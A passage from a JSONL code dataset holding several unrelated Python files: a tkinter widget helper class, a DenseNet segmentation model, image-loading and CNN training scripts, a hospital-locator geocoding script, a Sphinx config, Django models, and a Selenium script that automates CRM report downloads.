plt\n\n fig = plt.figure()\n ax = fig.add_subplot(1, 1, 1)\n # ix, x = find_idx(mol.grid_coords,0)\n # axes[0].plot(x, oep_ccsd_diff[0][ix])\n # axes[0].plot(x, hf_ccsd_diff[0][ix])\n # axes[0].plot(x, dft_ccsd_diff[0][ix])\n\n ixyz, xyz = find_idx(mol.grid_coords, 2)\n ax.plot(xyz, oep_ccsd_diff[0][ixyz])\n ax.plot(xyz, hf_ccsd_diff[0][ixyz])\n ax.plot(xyz, hf_fixed_ccsd_diff[0][ixyz])\n ax.plot(xyz, dft_ccsd_diff[0][ixyz])\n plt.xlim([-4, 2])\n ax.legend(['oep', 'hf', 'hf_fixed', 'b3lyp'])\n fig.savefig('ch2o_oep_hf_b3lyp.png', dpi=300)\n\n# %%\n","sub_path":"simple_wy.py","file_name":"simple_wy.py","file_ext":"py","file_size_in_byte":8850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"147528971","text":"from tkinter import *\nfrom tkinter.ttk import Combobox\nfrom tkinter import messagebox,filedialog\n\n\ndef animate(root,state='appear'):\n appear = [0, .2, .4, .6, .8, 1]\n if state!='appear':\n appear=appear[::-1]\n time = [0, 150, 200, 250, 300, 350]\n\n root.after(time[0], lambda: root.attributes('-alpha', appear[0]))\n root.after(time[1], lambda: root.attributes('-alpha', appear[1]))\n root.after(time[2], lambda: root.attributes('-alpha', appear[2]))\n root.after(time[3], lambda: root.attributes('-alpha', appear[3]))\n root.after(time[4], lambda: root.attributes('-alpha', appear[4]))\n root.after(time[5], lambda: root.attributes('-alpha', appear[5]))\n\n\nclass Mainframe2:\n\n def customcan(self, framename, w, h, color, xc, yc):\n self.c1 = Canvas(framename, width=w, height=h, bg=color, bd=0, highlightthickness=0)\n self.c1.place(x=xc, y=yc)\n return self.c1\n\n def packedCanvas(self,frameno,w,h,bgc,side):\n packed_can=Canvas(frameno,bg=bgc,width=w,height=h)\n packed_can.pack(side=side)\n packed_can.pack(side=side)\n return packed_can\n\n def image(self, path, x, y):\n self.pic = PhotoImage(file=path)\n self.picofcan = self.c1.create_image(x, y, image=self.pic, anchor=NW)\n return self.picofcan\n\n def line(self, xs, ys, xf, yf, color, w):\n self.linesoncan = self.c1.create_line(xs, ys, xf, yf, fill=color, width=w)\n\n def text(self, x, y, name, fonts, color):\n self.c1.create_text(x, y, text=name, font=fonts, fill=color)\n\n def custombuttons(self, frameno, name, w, h, action, xc, yc, **kwargs):\n kdic = kwargs\n if kdic != {}:\n self.b = Button(frameno, text=name, width=w, height=h, command=action, bg=kdic['bg'], fg=kdic['fg'])\n else:\n self.b = Button(frameno, text=name, width=w, height=h, command=action)\n self.b.place(x=xc, y=yc)\n return self.b\n\n def customlabels(self, frameno, name, fonts, bgc, xc, yc, *args, **kwargs):\n style = kwargs\n if style == {}:\n wh = args\n if wh == ():\n self.l1 = Label(frameno, text=name, font=fonts, bg=bgc)\n else:\n w = wh[0]\n h = wh[1]\n self.l1 = Label(frameno, text=name, width=w, height=h, font=fonts, bg=bgc)\n else:\n wh = args\n if wh == ():\n self.l1 = Label(frameno, text=name, font=fonts, bg=bgc, fg=style['fg'])\n else:\n w = wh[0]\n h = wh[1]\n self.l1 = Label(frameno, text=name, width=w, height=h, font=fonts, bg=bgc, fg=style['fg'])\n self.l1.place(x=xc, y=yc)\n return self.l1\n\n def emailentry(self, frameno, xc, yc, *args):\n em = args\n self.emailvar = StringVar()\n if em != ():\n self.emen = Entry(frameno, width=em[0], textvariable=self.emailvar)\n else:\n self.emen = Entry(frameno, textvariable=self.emailvar)\n self.emen.place(x=xc, y=yc)\n\n def userEntry(self, frameno, xc, yc, *args):\n t = args\n self.valname = StringVar()\n if t != ():\n self.en1 = Entry(frameno, width=t[0], textvariable=self.valname)\n else:\n self.en1 = Entry(frameno, textvariable=self.valname)\n self.en1.place(x=xc, y=yc)\n\n def userintentry(self, frameno, xc, yc, *args):\n t2 = args\n self.intvalname = StringVar()\n if t2 != ():\n self.en23 = Entry(frameno, width=t2[0], textvariable=self.intvalname)\n else:\n self.en23 = Entry(frameno, textvariable=self.intvalname)\n self.en23.place(x=xc, y=yc)\n\n def customframes(self, frameno, w, h, color, xc, yc):\n self.f1 = Frame(frameno, width=w, height=h, bg=color)\n self.f1.place(x=xc, y=yc)\n return self.f1\n\n def customcombobox(self, frameno, name, v, w, xc, yc):\n self.c1 = Combobox(frameno, values=v, width=w, state='readonly')\n self.c1.set(name)\n self.c1.place(x=xc, y=yc)\n return self.c1\n\n def passwordentry(self, frameno, xc, yc, *args):\n t = args\n if t != ():\n self.en = Entry(frameno, show='*', width=t[0])\n else:\n self.en = Entry(frameno)\n self.en.place(x=xc, y=yc)\n\n def packedFrame(self, frameno, w, h, color, side, **kwargs):\n adic = kwargs\n self.f1 = Frame(frameno, width=w, height=h, bg=color)\n if adic == {}:\n self.f1.pack(side=side)\n else:\n self.f1.pack(side=side, fill=adic['fill'])\n return self.f1\n\n def txtarea(self, frameno, w, h, xc, yc, **kwargs):\n state = kwargs\n self.t1 = Text(frameno, width=w, height=h, wrap=WORD, padx=5, pady=5)\n if state == {}:\n pass\n else:\n self.t1.config(state=state['state'])\n self.t1.place(x=xc, y=yc)\n return self.t1\n\n def packedlabels(self, frameno, name, w, h, color, *args):\n k = args\n self.l1 = Label(frameno, text=name, width=w, height=h, bg=color)\n if k == ():\n self.l1.pack()\n else:\n side = k[0]\n fill = k[1]\n self.l1.pack(side=side, fill=fill)\n return self.l1\n\n def genralentry(self, frameno, xc, yc, *args):\n t3 = args\n self.em = StringVar()\n if t3 != ():\n self.enem = Entry(frameno, width=t3[0], textvariable=self.em)\n else:\n self.enem = Entry(frameno, textvariable=self.em)\n self.enem.place(x=xc, y=yc)\n\n #------------------------------------------------- TRACKER ENRTY -------------------------------------------\n\n def track_entry(self,frameno,xc,yc,fun,**kwargs):\n tempdic=kwargs\n self.tracker=StringVar()\n if tempdic=={}:\n self.t_ent=Entry(frameno,textvariable=self.tracker)\n elif len(tempdic)==1:\n fs=tempdic['fs']\n self.t_ent=Entry(frameno,textvariable=self.tracker,font=fs)\n\n self.t_ent.place(x=xc,y=yc)\n self.tracker.trace('w',lambda name,index,mode:fun())\n return self.t_ent\n #--------------------------------------------------------------------------------------------------------------\n def set_tracker_entry(self,value):\n self.tracker.set(value)\n\n #------------------------------------------------- LIST -------------------------------------------\n\n def customListBox(self,frameno,w,h,side,*args):\n coordinates_specifier=args\n self.lBox = Listbox(frameno, width=w, height=h, selectmode=SINGLE)\n if len(coordinates_specifier)==0:\n self.lBox.pack(side=side)\n return self.lBox\n else:\n self.lBox.pack(side=side,fill=coordinates_specifier[0],extend=coordinates_specifier[1])\n return self.lBox\n\n def listBox_values(self,valList):\n self.ind_counter = 1\n for val in valList:\n self.lBox.insert(self.ind_counter,val)\n self.ind_counter+=1\n\n def get_List_selected(self):\n self.clicked_items=self.lBox.curselection()\n if self.clicked_items !=():\n return [self.lBox.get(val) for val in self.clicked_items]\n else:\n return -1\n\n def delete_list_selected(self):\n self.target=self.lBox.curselection()\n if self.target !=():\n self.lBox.delete(self.target)\n return 1\n else:\n return -1\n #----------------------------------------------- TOGGLE BUTTON--------------------------------------------------------\n\n switch_status = 0\n\n def toggle_button(self,frameno,xc,yc,value,onclr,offclr,togglename0='',togglename1='',onclick=None):\n global switch_status\n self.toggleID=0\n switch_status = not value\n toggle=Canvas(frameno,bg=offclr,width=70,height=20,highlightthickness=0)\n toggle.place(x=xc,y=yc)\n tog_switch=Canvas(toggle,width=35,height=18,bg='white',highlightthickness=0)\n tog_switch.place(x=1,y=1)\n togtext = tog_switch.create_text(8, 4, text=togglename0, font='none 7', anchor=NW, fill=offclr)\n\n def onclick_ON(event=''):\n global switch_status\n if switch_status == 0:\n tog_switch.place(x=34, y=1)\n toggle.config(bg=onclr)\n tog_switch.itemconfig(togtext, text=togglename1, fill=onclr)\n switch_status = 1\n self.toggleID=1\n onclick() if onclick != None else -1\n else:\n tog_switch.place(x=1, y=1)\n toggle.config(bg=offclr)\n tog_switch.itemconfig(togtext, text=togglename0, fill=offclr)\n switch_status = 0\n self.toggleID=0\n onclick() if onclick != None else -1\n\n onclick_ON()\n toggle.bind('', onclick_ON)\n tog_switch.bind('', onclick_ON)\n return toggle,tog_switch,\n def get_toggle_status(self):\n return self.toggleID\n\n\n #--------------------------------------------------------------------------------------------------------------\n\n #------------------------------------------------ T A B S --------------------------------------------------------------\n\n def customTab_Square(self,frameno,w,h,bgc,txtclr,name,fonts,xc,yc,txc,tyc,bclr,barwidth):\n self.tabcan_ = Canvas(frameno, width=w, height=h, bg=bgc, cursor='hand2')\n self.tabcan_.place(x=xc, y=yc)\n self.tabcan_.create_text(txc, tyc, text=name, fill=txtclr, font=fonts,anchor=NW)\n self.bar=self.tabcan_.create_line(0, h, w+2, h,fill=bclr,width=barwidth)\n return self.tabcan_,self.bar,\n\n def customTab_Polygon(self,frameno,bgc,txtclr,name,fonts,xc,yc,txc,tyc,bclr,barwidth,outline,**polyCoordinates):\n px0, py0, px1, py1, px2, py2, px3, py3=polyCoordinates['coords']\n tabcan1 = Canvas(frameno, width=px3, height=py0,bg=bgc,cursor='hand2',highlightthickness=0)\n tabcan1.place(x=xc,y=yc)\n tabcan1.create_polygon([px0, py0, px1, py1, px2, py2, px3, py3], fill=bgc, outline=outline)\n tabcan1.create_text(txc, tyc, text=name,font=fonts,fill=txtclr)\n negation=3 if barwidth>5 else 2\n self.polybar=tabcan1.create_line(negation, py0, px3-negation, py0,fill=bclr,width=barwidth)\n return tabcan1,self.polybar,\n\n\n\n #--------------------------------------------------------------------------------------------------------------\n\n def getuserentry(self):\n self.userdata = self.valname.get().title()\n return self.userdata\n\n def getpassword(self):\n self.passdata = self.en.get()\n return self.passdata\n\n def gettext(self):\n self.txtdata = self.t1.get(1.0, END)\n return self.txtdata\n\n def getcombodata(self):\n self.choice = self.c1.get()\n return self.choice\n\n def getint(self):\n self.intdat = self.intvalname.get()\n return self.intdat\n\n def getgenralentrydata(self):\n self.emmeta = self.em.get()\n return self.emmeta\n\n def getemail(self):\n self.emdat = self.emailvar.get().endswith('@gmail.com')\n if self.emdat == True:\n return self.emen.get()\n else:\n return False\n\n\n\n # clearing the data\n\n def clearuserentry(self):\n self.en1.delete(0, END)\n\n def clearpassword(self):\n self.en.delete(0, END)\n\n def cleartext(self):\n self.t1.delete(1.0, END)\n\n def clearcombo(self):\n self.c1.delete(0, END)\n\n def ex(self):\n meta = self.c1.get()\n self.c1.bind('<>')\n return meta\n\n def cleangenral(self):\n self.enem.delete(0, END)\n\n def clearinten(self):\n self.en23.delete(0, END)\n\n # setting values\n def setuserentry(self, val):\n self.valname.set(val)\n\n def setintegerentry(self, valofint2):\n self.intvalname.set(valofint2)\n\n def setgenraluser(self, valofint):\n self.em.set(valofint)\n\n def setemail(self, emaildata):\n self.emailvar.set(emaildata)\n\n#---------------------------------------------------C A N V A S BUTTONS-------------------------------------------------\n\ndef can_but(frno,name,clr,fg,fontstyle,xc,yc,fun,w,h,txtalignX,txtalignY):\n globalobj=Mainframe2()\n projectbut = globalobj.customcan(frno, w, h,clr, xc, yc)\n butname=projectbut.create_text(txtalignX, txtalignY, text=name, font=fontstyle, fill=fg)\n if fun==None:\n pass\n else:\n projectbut.bind('', lambda event:fun())\n return projectbut,butname,\n\n\n\n\n","sub_path":"oops3.py","file_name":"oops3.py","file_ext":"py","file_size_in_byte":12615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"608010390","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.5 (3351)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/DeepBrainSeg/tumor/models/modelABL.py\n# Compiled at: 2019-11-11 08:44:10\n# Size of source mod 2**32: 4252 bytes\nimport torch, torch.nn as nn\nfrom .layers2DABL import *\n\nclass FCDenseNet(nn.Module):\n\n def __init__(self, in_channels=3, down_blocks=(5, 5, 5, 5, 5), up_blocks=(5, 5, 5, 5, 5), bottleneck_layers=5, growth_rate=16, out_chans_first_conv=48, n_classes=12):\n super().__init__()\n self.down_blocks = down_blocks\n self.up_blocks = up_blocks\n cur_channels_count = 0\n skip_connection_channel_counts = []\n self.add_module('firstconv', nn.Conv2d(in_channels=in_channels, out_channels=out_chans_first_conv, kernel_size=3, stride=1, padding=1, bias=True))\n cur_channels_count = out_chans_first_conv\n self.denseBlocksDown = nn.ModuleList([])\n self.transDownBlocks = nn.ModuleList([])\n for i in range(len(down_blocks)):\n self.denseBlocksDown.append(DenseBlock(cur_channels_count, growth_rate, down_blocks[i]))\n cur_channels_count += growth_rate * down_blocks[i]\n skip_connection_channel_counts.insert(0, cur_channels_count)\n self.transDownBlocks.append(TransitionDown(cur_channels_count))\n\n self.add_module('bottleneck', Bottleneck(cur_channels_count, growth_rate, bottleneck_layers))\n prev_block_channels = growth_rate * bottleneck_layers\n cur_channels_count += prev_block_channels\n self.transUpBlocks = nn.ModuleList([])\n self.denseBlocksUp = nn.ModuleList([])\n for i in range(len(up_blocks) - 1):\n self.transUpBlocks.append(TransitionUp(prev_block_channels, prev_block_channels))\n cur_channels_count = prev_block_channels + skip_connection_channel_counts[i]\n self.denseBlocksUp.append(DenseBlock(cur_channels_count, growth_rate, up_blocks[i], upsample=True))\n prev_block_channels = growth_rate * up_blocks[i]\n cur_channels_count += prev_block_channels\n\n self.transUpBlocks.append(TransitionUp(prev_block_channels, prev_block_channels))\n cur_channels_count = prev_block_channels + skip_connection_channel_counts[(-1)]\n self.denseBlocksUp.append(DenseBlock(cur_channels_count, growth_rate, up_blocks[(-1)], upsample=False))\n cur_channels_count += growth_rate * up_blocks[(-1)]\n self.finalConv = nn.Conv2d(in_channels=cur_channels_count, out_channels=n_classes, kernel_size=1, stride=1, padding=0, bias=True)\n self.softmax = nn.LogSoftmax(dim=1)\n\n def forward(self, x):\n out = self.firstconv(x)\n skip_connections = []\n for i in range(len(self.down_blocks)):\n out = self.denseBlocksDown[i](out)\n skip_connections.append(out)\n out = self.transDownBlocks[i](out)\n\n out = self.bottleneck(out)\n for i in range(len(self.up_blocks)):\n skip = skip_connections.pop()\n out = self.transUpBlocks[i](out, skip)\n out = self.denseBlocksUp[i](out)\n\n out = self.finalConv(out)\n out = self.softmax(out)\n return out\n\n\ndef FCDenseNet57(n_classes):\n return FCDenseNet(in_channels=4, down_blocks=(4, 4, 4, 4, 4), up_blocks=(4, 4,\n 4, 4,\n 4), bottleneck_layers=4, growth_rate=12, out_chans_first_conv=48, n_classes=n_classes)\n\n\ndef FCDenseNet67(n_classes):\n return FCDenseNet(in_channels=4, down_blocks=(5, 5, 5, 5, 5), up_blocks=(5, 5,\n 5, 5,\n 5), bottleneck_layers=5, growth_rate=16, out_chans_first_conv=48, n_classes=n_classes)\n\n\ndef FCDenseNet103(n_classes):\n return FCDenseNet(in_channels=4, down_blocks=(4, 5, 7, 10, 12), up_blocks=(12,\n 10,\n 7,\n 5,\n 4), bottleneck_layers=15, growth_rate=16, out_chans_first_conv=48, n_classes=n_classes)","sub_path":"pycfiles/DeepBrainSeg-0.2.0-py3.5/modelABL.cpython-35.py","file_name":"modelABL.cpython-35.py","file_ext":"py","file_size_in_byte":4513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"346932590","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jan 20 21:24:35 2019\n\n@author: barbaraxiong\n\"\"\"\n\nimport imageio\nimport matplotlib.pyplot as plt\nimport os\nimport tensorflow as tf\nimport numpy as np\nfrom PIL import Image\nfrom random import shuffle\n\ndef load_batch(foldername):\n '''load data from single folder'''\n images = []\n labels = []\n for category in os.listdir(foldername):\n if os.path.isdir(os.path.join(foldername, category)):\n for img in os.listdir(os.path.join(foldername, category)):\n if img.lower().endswith(('.png', '.jpg', '.jpeg', '.tif')):\n image = Image.open(os.path.join(foldername, category)+\"/\"+img)\n sess = tf.Session()\n with sess.as_default():\n images.append(np.asarray(image))\n labels.append(str(category))\n print(np.asarray(images))\n return np.asarray(images), np.asarray(labels)\n\ndef load_data():\n '''load all folder data and merge training batches'''\n X, Y = load_batch(\"colorectal-histology-mnist/Kather_texture_2016_image_tiles_5000/\")\n xs = X\n ys = Y\n xs = np.concatenate([xs])\n ys = np.concatenate([ys])\n batch_size = list(range(0, len(xs)))\n shuffle(batch_size)\n train = batch_size[:int(0.8*len(xs))]\n test = batch_size[int(0.8*len(xs)):]\n x_train = []\n y_train = []\n x_test = []\n y_test = []\n for pos in train:\n x_train.append(xs[pos])\n y_train.append(ys[pos])\n for pos in test:\n x_test.append(xs[pos])\n y_test.append(ys[pos])\n x_train = np.concatenate([x_train])\n y_train = np.concatenate([y_train])\n x_test = np.concatenate([x_test])\n y_test = np.concatenate([y_test])\n classes = ['01_TUMOR', '02_STROMA', '03_COMPLEX', '04_LYMPHO', '05_DEBRIS', '06_MUCOSA', '07_ADIPOSE', '08_EMPTY']\n\n # Normalize Data\n\n #mean_image = np.mean(x_train, axis=0)\n #x_train = np.subtract(x_train, mean_image, out=x_train, casting = \"unsafe\")\n #x_test = np.subtract(x_test, mean_image, out=x_test, casting = \"unsafe\")\n\n data_dict = {\n 'images_train': x_train,\n 'labels_train': y_train,\n 'images_test': x_test,\n 'labels_test': y_test,\n 'classes': classes\n }\n return data_dict\n\ndef main():\n data_sets = load_data()\n print(data_sets['images_train'].shape)\n print(data_sets['labels_train'].shape)\n print(data_sets['images_test'].shape)\n print(data_sets['labels_test'].shape)\n \nif __name__ == '__main__':\n main()\n\n","sub_path":"build_image_data.py","file_name":"build_image_data.py","file_ext":"py","file_size_in_byte":2559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"305104868","text":"import reverse_geocoder as rg \nimport pprint,sqlite3 \nfrom math import radians, sin, cos, acos, atan2, sqrt\nPI = 3.14159265\n\ndef reverseGeocode(coordinates): \n result = rg.search(coordinates) \n res = result[0].values().__str__().split('(')\n res = res[1][1:-2].split(\"'\")\n result = []\n for i in range(len(res)):\n if i%2 != 0:\n result.append(res[i])\n print(result)\n location(result)\n\ndef location(res):\n con = sqlite3.connect('doctor.db')\n cur = con.cursor()\n cur.execute(\"select Location_Coordinates,Location,Hospital_Name,Address_Original_First_Line,State,District,Pincode,Telephone from hospital_location where District = ?\",(res[2],))\n hospital_list = cur.fetchall()\n slat = float(res[0])\n slon = float(res[1])\n final_list = []\n for i in range(len(hospital_list)):\n coordinates = hospital_list[i][0]\n Co_ordinates= coordinates.split(',')\n if Co_ordinates[0] not in ['NA','Error']:\n elat = float(Co_ordinates[0])\n elon = float(Co_ordinates[1])\n dist = getDistanceFromLatLonInKm(slat,slon,elat,elon)\n if dist < 5:\n final_list.append(hospital_list[i])\n print(final_list[:10])\n\ndef getDistanceFromLatLonInKm(lat1,lon1,lat2,lon2):\n R = 6371; # Radius of the earth in km\n dLat = deg2rad(lat2-lat1); # deg2rad below\n dLon = deg2rad(lon2-lon1); \n a = sin(dLat/2) * sin(dLat/2) + cos(deg2rad(lat1)) * cos(deg2rad(lat2)) * sin(dLon/2) * sin(dLon/2) \n c = 2 * atan2(sqrt(a), sqrt(1-a)); \n d = R * c; # Distance in km\n return d;\n\ndef deg2rad(deg):\n return deg * (PI/180)\n\n\n \n# Driver function \nif __name__==\"__main__\":\n # Coorinates tuple.Can contain more than one pair. \n coordinates =(19.0723225,72.9006249) \n \n reverseGeocode(coordinates) \n","sub_path":"doctor locator/26th Jan 2020/Hexa/coordinate2city.py","file_name":"coordinate2city.py","file_ext":"py","file_size_in_byte":1808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"94863046","text":"import cv2 as cv\nimport numpy\nfrom keras.layers import Input, Conv2D, AveragePooling2D, Activation, Flatten, Dense\nfrom keras.initializers import glorot_uniform\nfrom keras.models import Model\nfrom keras.regularizers import l2\nimport os\n\nimg_size = 32\nX_train = []\nY_train = []\nX_test = []\nY_test = []\n\ndatadir_training = 'datasets/trainingSet'\ndatadir_test = 'datasets/test_set'\n\n\ndef convert_to_one_hot(y, c):\n y = numpy.eye(c)[y.reshape(-1)]\n return y\n\n\nfor i in ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']:\n path = os.path.join(datadir_training, i)\n for img in os.listdir(path):\n image = cv.imread(os.path.join(path, img))\n gray = cv.cvtColor(image, cv.COLOR_BGR2GRAY)\n thresh = cv.threshold(gray, 0, 255, cv.THRESH_BINARY_INV | cv.THRESH_OTSU)[1]\n thresh = cv.resize(thresh, (img_size, img_size))\n X_train.append(thresh)\n Y_train.append(int(i))\n\nfor i in ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']:\n path = os.path.join(datadir_test, i)\n for img in os.listdir(path):\n image = cv.imread(os.path.join(path, img))\n gray = cv.cvtColor(image, cv.COLOR_BGR2GRAY)\n thresh = cv.threshold(gray, 0, 255, cv.THRESH_BINARY_INV | cv.THRESH_OTSU)[1]\n thresh = cv.resize(thresh, (img_size, img_size))\n X_test.append(thresh)\n Y_test.append(int(i))\n\n\nX_train = numpy.array(X_train)\nX_test = numpy.array(X_test)\nY_train = numpy.array(Y_train)\nY_test = numpy.array(Y_test)\n\nY_train = convert_to_one_hot(Y_train, 10)\nY_test = convert_to_one_hot(Y_test, 10)\n\nprint('Shape of X_train: ' + str(X_train.shape))\nprint('Shape of Y_train: ' + str(Y_train.shape))\nprint('Shape of X_test: ' + str(X_test.shape))\nprint('Shape of Y_test: ' + str(Y_test.shape))\n\n\ndef cnn_model(input_shape=(32, 32, 1), classes=10):\n X_input = Input(input_shape)\n X = Conv2D(6, (5, 5), strides=(1, 1), padding='same', name='conv1', kernel_initializer=glorot_uniform(seed=0),\n activity_regularizer=l2(0.0001))(X_input)\n X = Activation(activation='relu')(X)\n X = AveragePooling2D((2, 2), strides=(2, 2))(X)\n X = Conv2D(16, (5, 5), strides=(1, 1), padding='same', name='conv2', kernel_initializer=glorot_uniform(seed=0),\n activity_regularizer=l2(0.0001))(X)\n X = Activation(activation='relu')(X)\n X = AveragePooling2D((2, 2), strides=(2, 2))(X)\n X = Flatten()(X)\n X = Dense(120, activation='relu', kernel_initializer=glorot_uniform(seed=0),\n name='fc1', activity_regularizer=l2(0.0001))(X)\n X = Dense(84, activation='relu', kernel_initializer=glorot_uniform(seed=0),\n name='fc2', activity_regularizer=l2(0.0001))(X)\n X = Dense(classes, activation='softmax', kernel_initializer=glorot_uniform(seed=0), name='fc3')(X)\n\n model = Model(inputs=X_input, outputs=X, name='cnn_model')\n return model\n\n\nmodel = cnn_model(input_shape=(32, 32, 1), classes=10)\nmodel.compile(optimizer='adam', loss='categorical_crossentropy', metrics=['accuracy'])\nmodel.summary()\nmodel.fit(X_train, Y_train, epochs=300, batch_size=1000)\nprediction = model.evaluate(X_test, Y_test)\nprint('loss: ' + str(prediction[0]))\nprint('accuracy: ' + str(prediction[1]))\n\nmodel.save('digits_v3.h5')\n","sub_path":"cnn_model.py","file_name":"cnn_model.py","file_ext":"py","file_size_in_byte":3220,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"447129967","text":"# -*- coding: utf-8 -*-\n\n# -- General configuration -----------------------------------------------------\n\n# Add any Sphinx extension module names here, as strings. They can be extensions\n# coming with Sphinx (named 'sphinx.ext.*') or your custom ones.\nextensions = ['rst2pdf.pdfbuilder']\n\n# The master toctree document.\nmaster_doc = 'index'\n\n# General information about the project.\nproject = u'sphinxmarkup'\ncopyright = u'2009, RA'\n\n# The version info for the project you're documenting, acts as replacement for\n# |version| and |release|, also used in various other places throughout the\n# built documents.\n#\n# The short X.Y version.\nversion = 'test'\n# The full version, including alpha/beta/rc tags.\nrelease = 'test'\n\n\n# -- Options for PDF output ----------------------------------------------------\n\n# Grouping the document tree into PDF files. List of tuples\n# (source start file, target name, title, author).\npdf_documents = [('index', u'MyProject', u'My Project', u'Author Name')]\n\n# A comma-separated list of custom stylesheets. Example:\npdf_stylesheets = ['sphinx']\n\n# Language to be used for hyphenation support\npdf_language = \"en_US\"\n\n# If false, no index is generated.\npdf_use_index = True\n\n# If false, no modindex is generated.\npdf_use_modindex = True\n\n# If false, no coverpage is generated.\npdf_use_coverpage = True\n\npdf_break_level = 2\n\npdf_verbosity = 0\npdf_invariant = True\npdf_real_footnotes = True\n\n# Set a consistent date for the cover page\ntoday = 'April 29, 2018'\n","sub_path":"tests/input/sphinx-issue183/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":1486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"254268295","text":"from django.db import models\n\n\nclass Task(models.Model):\n name = models.TextField()\n\nACTION_START = 's'\nACTION_FINISH = 'f'\nTASK_RUN_ACTION_CHOICE = (\n (ACTION_START, 'start'),\n (ACTION_FINISH, 'finish'),\n) \nclass TaskRun(models.Model):\n task = models.ForeignKey(Task)\n timestamp = models.DateTimeField(auto_now_add=True)\n action = models.CharField(max_length=1, choices=TASK_RUN_ACTION_CHOICE)","sub_path":"pomodoro/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"246222346","text":"from selenium import webdriver\nfrom selenium.common.exceptions import NoAlertPresentException\nfrom selenium.common.exceptions import NoSuchElementException\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support.ui import Select\nfrom selenium.webdriver.support import expected_conditions\nfrom selenium.webdriver.firefox.firefox_profile import FirefoxProfile\nfrom threading import Thread\nfrom datetime import date, datetime, timedelta\nimport time\nimport excel\nimport send_email\n\n\ndef do_and_switch_to_new_window(browser, action):\n old_windows = browser.window_handles\n action()\n new_windows = browser.window_handles\n diff = set(new_windows) - set(old_windows)\n browser.switch_to_window(diff.pop())\n\n\ndef get_webdriver():\n profile = FirefoxProfile()\n profile.set_preference(\"browser.download.panel.shown\", False)\n profile.set_preference(\"browser.helperApps.neverAsk.openFile\",\"text/csv,application/vnd.ms-excel\")\n profile.set_preference(\"browser.helperApps.neverAsk.saveToDisk\", \"text/csv,application/vnd.ms-excel\")\n profile.set_preference(\"browser.download.folderList\", 2);\n profile.set_preference(\"browser.download.dir\", \"c:\\\\firefox_downloads\\\\\")\n return webdriver.Firefox(firefox_profile=profile)\n\n\ndef wait_for_id(driver, id):\n WebDriverWait(driver, 10).until(\n expected_conditions.presence_of_element_located((By.ID, id))\n )\n\n\ndef get_creds():\n creds = {}\n with open(\"config.txt\") as file:\n for line in file:\n (key, val) = [x.strip() for x in line.split('=')]\n creds[key] = val\n return creds\n\n\ndef sign_in(browser):\n creds = get_creds()\n username = browser.find_element_by_id(\"userNameInput\")\n username.click()\n username.clear()\n username.send_keys(\"svrs\\\\\" + creds['username'])\n browser.find_element_by_id(\"passwordInput\").send_keys(creds['password'] + Keys.ENTER)\n\n\ndef get_yesterday():\n yesterday = date.today() - timedelta(1)\n return yesterday.strftime('%m/%d/%Y')\n\n\ndef get_days_ago(delta):\n day = date.today() - timedelta(delta)\n return day.strftime('%m/%d/%Y')\n\n\ndef click_if_available(browser, element_id, retry=False, timeout=5.0):\n time_elapsed = 0.0\n while time_elapsed < timeout:\n try:\n browser.find_element_by_id(element_id).click()\n break\n except NoSuchElementException:\n if retry:\n time_elapsed += 0.1\n time.sleep(0.1)\n else:\n break\n\n\ndef dismiss_alerts(browser):\n while True:\n try:\n time.sleep(0.1)\n browser.switch_to.alert.accept()\n except NoAlertPresentException:\n break\n\n\ndef construct_export_id(entity_name):\n entity_name = \"\".join(entity_name.split()).lower()\n return \"edm_\" + entity_name + \"|NoRelationship|SubGridStandard|Mscrm.SubGrid.edm_\" + \\\n entity_name + \".ExportToExcel-Large\"\n\n\ndef download_excel(browser, entity_name):\n browser.find_element_by_id(\"Mscrm.AdvancedFind.Groups.Show.Results-Large\").click()\n dismiss_alerts(browser)\n browser.find_element_by_id(construct_export_id(entity_name)).click()\n time.sleep(.5)\n browser.switch_to.frame(browser.find_element_by_id(\"InlineDialog_Iframe\"))\n click_if_available(browser, \"printAll\")\n browser.find_element_by_id(\"dialogOkButton\").click()\n browser.switch_to.default_content()\n\n\ndef select_view(browser, entity_name, view_name):\n entity = Select(browser.find_element_by_id(\"slctPrimaryEntity\"))\n entity.select_by_visible_text(entity_name)\n dismiss_alerts(browser)\n view = Select(browser.find_element_by_id(\"savedQuerySelector\"))\n view.select_by_visible_text(view_name)\n\n\ndef change_date(browser, absentee_date):\n wait_for_id(browser, \"advFindEFGRP0FFLD2CCVALLBL\")\n masked_date = browser.find_element_by_id(\"advFindEFGRP0FFLD2CCVALLBL\")\n hover = ActionChains(browser).move_to_element(masked_date)\n hover.perform()\n date = browser.find_element_by_id(\"DateInput\")\n date.click()\n date.clear()\n date.send_keys(absentee_date)\n\n\ndef switch_to_iframe(browser):\n browser.switch_to.frame(browser.find_element_by_id(\"contentIFrame0\"))\n\n\ndef switch_out_of_iframe(browser):\n browser.switch_to.default_content()\n\n\ndef download_absentee_list(browser, absentee_date):\n switch_to_iframe(browser)\n select_view(browser, \"Absentee Applications\", \"MyVote Mailing 2\")\n change_date(browser, absentee_date)\n switch_out_of_iframe(browser)\n download_excel(browser, \"Absentee Application\")\n\n\ndef download_email_list(browser):\n 